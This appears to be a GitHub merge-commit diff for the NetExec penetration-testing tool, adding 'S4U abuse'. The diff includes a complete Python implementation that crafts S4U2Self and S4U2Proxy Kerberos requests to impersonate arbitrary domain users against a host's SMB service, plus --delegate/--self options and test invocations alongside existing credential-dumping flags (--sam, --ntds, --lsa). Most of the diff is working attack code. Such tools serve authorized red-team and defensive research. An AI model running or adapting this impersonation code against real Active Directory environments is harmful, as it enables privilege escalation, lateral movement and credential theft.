Merge pull request #50 from Pennyw0rth/s4u

Implement s4u abuse
main
zblurx 2023-11-03 12:16:29 +01:00 committed by GitHub
commit 5e247be9d5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 323 additions and 5 deletions

View File

@ -393,7 +393,8 @@ class connection:
if self.args.protocol == "smb" and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and self.domain.upper() != self.hostname.upper(): if self.args.protocol == "smb" and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and self.domain.upper() != self.hostname.upper():
self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain") self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
return False return False
if hasattr(self.args, "delegate") and self.args.delegate:
self.args.kerberos = True
with sem: with sem:
if cred_type == "plaintext": if cred_type == "plaintext":
if self.args.kerberos: if self.args.kerberos:

View File

@ -23,7 +23,8 @@ from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.krb5.kerberosv5 import SessionKeyDecryptionError from impacket.krb5.kerberosv5 import SessionKeyDecryptionError
from impacket.krb5.types import KerberosException from impacket.krb5.types import KerberosException, Principal
from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
@ -33,6 +34,7 @@ from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter from nxc.logger import NXCAdapter
from nxc.protocols.smb.firefox import FirefoxTriage from nxc.protocols.smb.firefox import FirefoxTriage
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U
from nxc.servers.smb import NXCSMBServer from nxc.servers.smb import NXCSMBServer
from nxc.protocols.smb.wmiexec import WMIEXEC from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC from nxc.protocols.smb.atexec import TSCH_EXEC
@ -382,28 +384,39 @@ class smb(connection):
kerb_pass = "" kerb_pass = ""
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}") self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
self.conn.kerberosLogin(username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache) tgs = None
if self.args.delegate:
kerb_pass = ""
self.username = self.args.delegate
serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
self.check_if_admin() self.check_if_admin()
if username == "": if username == "":
self.username = self.conn.getCredentials()[0] self.username = self.conn.getCredentials()[0]
else: elif not self.args.delegate:
self.username = username self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
else: else:
self.plaintext_login(self.hostname, username, password) self.plaintext_login(self.hostname, username, password)
return True return True
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out) self.logger.success(out)
if not self.args.local_auth: if not self.args.local_auth and not self.args.delegate:
add_user_bh(self.username, domain, self.logger, self.config) add_user_bh(self.username, domain, self.logger, self.config)
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self.args.continue_on_success and self.signing: if self.args.continue_on_success and self.signing:
with contextlib.suppress(Exception): with contextlib.suppress(Exception):
self.conn.logoff() self.conn.logoff()
self.create_conn_obj() self.create_conn_obj()
return True return True
@ -419,10 +432,14 @@ class smb(connection):
return False return False
except OSError as e: except OSError as e:
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}") self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}")
except (SessionError, Exception) as e: except (SessionError, Exception) as e:
error, desc = e.getErrorString() error, desc = e.getErrorString()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.logger.fail( self.logger.fail(
f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}", f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}",
color="magenta" if error in smb_error_status else "red", color="magenta" if error in smb_error_status else "red",

View File

@ -0,0 +1,278 @@
import datetime
import struct
import random
from six import b
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, \
seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart, \
PA_PAC_OPTIONS
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
from impacket.krb5 import constants
from nxc.logger import nxc_logger
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False):
my_tgt = None
if use_cache:
domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}")
if my_tgt is None:
raise
my_tgt = tgt["KDC_REP"]
cipher = tgt["cipher"]
session_key = tgt["sessionKey"]
if my_tgt is None:
principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
nxc_logger.debug("Getting TGT for user")
tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost)
my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
decoded_tgt = my_tgt
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decoded_tgt["ticket"])
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
ap_req["ap-options"] = constants.encodeFlags(opts)
seq_set(ap_req, "ticket", ticket.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decoded_tgt["crealm"])
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
seq_set(authenticator, "cname", client_name.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encoded_authenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
encoded_ap_req = encoder.encode(ap_req)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array = struct.pack("<I", constants.PrincipalNameType.NT_PRINCIPAL.value)
s4u_byte_array += b(impersonate) + b(domain) + b"Kerberos"
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array s4u_byte_array.
checksum = _HMACMD5.checksum(session_key, 17, s4u_byte_array)
pa_fo_user_enc = PA_FOR_USER_ENC()
seq_set(pa_fo_user_enc, "userName", client_name.components_to_asn1)
pa_fo_user_enc["userRealm"] = domain
pa_fo_user_enc["cksum"] = noValue
pa_fo_user_enc["cksum"]["cksumtype"] = int(constants.ChecksumTypes.hmac_md5.value)
pa_fo_user_enc["cksum"]["checksum"] = checksum
pa_fo_user_enc["auth-package"] = "Kerberos"
encoded_pa_for_user_enc = encoder.encode(pa_fo_user_enc)
tgs_req["padata"][1] = noValue
tgs_req["padata"][1]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgs_req["padata"][1]["padata-value"] = encoded_pa_for_user_enc
req_body = seq_set(tgs_req, "req-body")
opts = []
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
server_name = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(req_body, "sname", server_name.components_to_asn1)
req_body["realm"] = str(decoded_tgt["crealm"])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
nxc_logger.info("Requesting S4U2self")
message = encoder.encode(tgs_req)
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if no_s4u2proxy:
cipher_text = tgs["enc-part"]["cipher"]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plaintext = cipher.decrypt(session_key, 8, cipher_text)
enc_tgs_rep_part = decoder.decode(plaintext, asn1Spec=EncTGSRepPart())[0]
new_session_key = Key(enc_tgs_rep_part["key"]["keytype"], enc_tgs_rep_part["key"]["keyvalue"].asOctets())
# Creating new cipher based on received keytype
cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]]
tgs_formated = {}
tgs_formated["KDC_REP"] = r
tgs_formated["cipher"] = cipher
tgs_formated["sessionKey"] = new_session_key
return tgs_formated
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticket_tgt = Ticket()
ticket_tgt.from_asn1(decoded_tgt["ticket"])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs["ticket"])
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
ap_req["ap-options"] = constants.encodeFlags(opts)
seq_set(ap_req, "ticket", ticket_tgt.to_asn1)
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = str(decoded_tgt["crealm"])
client_name = Principal()
client_name.from_asn1(decoded_tgt, "crealm", "cname")
seq_set(authenticator, "cname", client_name.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
encoded_authenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
encoded_ap_req = encoder.encode(ap_req)
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
# Add resource-based constrained delegation support
pa_pac_options = PA_PAC_OPTIONS()
pa_pac_options["flags"] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgs_req["padata"][1] = noValue
tgs_req["padata"][1]["padata-type"] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgs_req["padata"][1]["padata-value"] = encoder.encode(pa_pac_options)
req_body = seq_set(tgs_req, "req-body")
opts = []
# This specified we"re doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
service2 = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(req_body, "sname", service2.components_to_asn1)
req_body["realm"] = domain
my_ticket = ticket.to_asn1(TicketAsn1())
seq_set_iter(req_body, "additional-tickets", (my_ticket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype",
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgs_req)
nxc_logger.info("Requesting S4U2Proxy")
r = sendReceive(message, domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipher_text = tgs["enc-part"]["cipher"]
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plaintext = cipher.decrypt(session_key, 8, cipher_text)
enc_tgs_rep_part = decoder.decode(plaintext, asn1Spec=EncTGSRepPart())[0]
new_session_key = Key(enc_tgs_rep_part["key"]["keytype"], enc_tgs_rep_part["key"]["keyvalue"].asOctets())
# Creating new cipher based on received keytype
cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]]
tgs_formated = {}
tgs_formated["KDC_REP"] = r
tgs_formated["cipher"] = cipher
tgs_formated["sessionKey"] = new_session_key
return tgs_formated

View File

@ -1,6 +1,11 @@
from argparse import _StoreTrueAction
def proto_args(parser, std_parser, module_parser): def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser]) smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
dgroup = smb_parser.add_mutually_exclusive_group() dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
@ -10,6 +15,7 @@ def proto_args(parser, std_parser, module_parser):
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2) smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
self_delegate_arg.make_required = [delegate_arg]
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
@ -73,3 +79,17 @@ def proto_args(parser, std_parser, module_parser):
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts") psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
return parser return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction

View File

@ -13,6 +13,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-brute
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-groups netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-groups
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-auth netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --local-auth
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --delegate LOGIN_USERNAME --self
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa